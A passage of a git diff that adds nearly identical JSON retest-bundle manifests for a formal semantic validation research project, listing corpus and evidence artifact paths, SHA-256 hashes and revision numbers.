"docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "19.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v18.json", + "snapshot_sha256": "5e6c939b2b4f1c6f8c65f54496c631c039e534c7c81ba87b829120f948af4cee" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v19.json b/docs/research/formal-semantic-validation/bundles/retest-v19.json new file mode 100644 index 000000000..1cde041c0 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v19.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v19.json", + "analysis_sha256": "dc5234b1829789a787ba0fb60c1d90c64608b0eec534cabb1134fc2c76fb7e5f", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "20.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v19.json", + "snapshot_sha256": "e51847d41a057d8280541066219369353ddcff16647727f73ffb4691169b1747" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v20.json b/docs/research/formal-semantic-validation/bundles/retest-v20.json new file mode 100644 index 000000000..9ea833d96 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v20.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v20.json", + "analysis_sha256": "cc1236e500308e337dc1a71cfe7c42b0b0b5b76377e21a8635ae2cba3532f1ec", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "21.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v20.json", + "snapshot_sha256": "443e66612ccdd21218c88bbf7a3f9f0326f5447e68f273888e58ff6544d60bbf" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v21.json b/docs/research/formal-semantic-validation/bundles/retest-v21.json new file mode 100644 index 000000000..89c985153 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v21.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v21.json", + "analysis_sha256": "13ec96963429d6a053c0fdc4745b9a862ff3b0968d1308f4363d402c1b2e0c0a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "22.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v21.json", + "snapshot_sha256": "15a9fe9f0eda3c1c25eebe8fa801f53b90bd755a14f8e31e1fd9d5d3476ddb09" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v22.json b/docs/research/formal-semantic-validation/bundles/retest-v22.json new file mode 100644 index 000000000..28dd9b417 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v22.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v22.json", + "analysis_sha256": "f64cd59465b45317612f74334ffbf17765a0c777672602e648df79e35a30eb50", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "23.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v22.json", + "snapshot_sha256": "d776f8418ab13cb1bde9f270b7a15a08a3b2d289977821d2eade916890ee3ab9" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v23.json b/docs/research/formal-semantic-validation/bundles/retest-v23.json new file mode 100644 index 000000000..e19cd1bed --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v23.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v23.json", + "analysis_sha256": "e15ac9bce78432fc7247d38e56c2383ca0ea6ef7d97da23e00e1720a7934d29b", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + 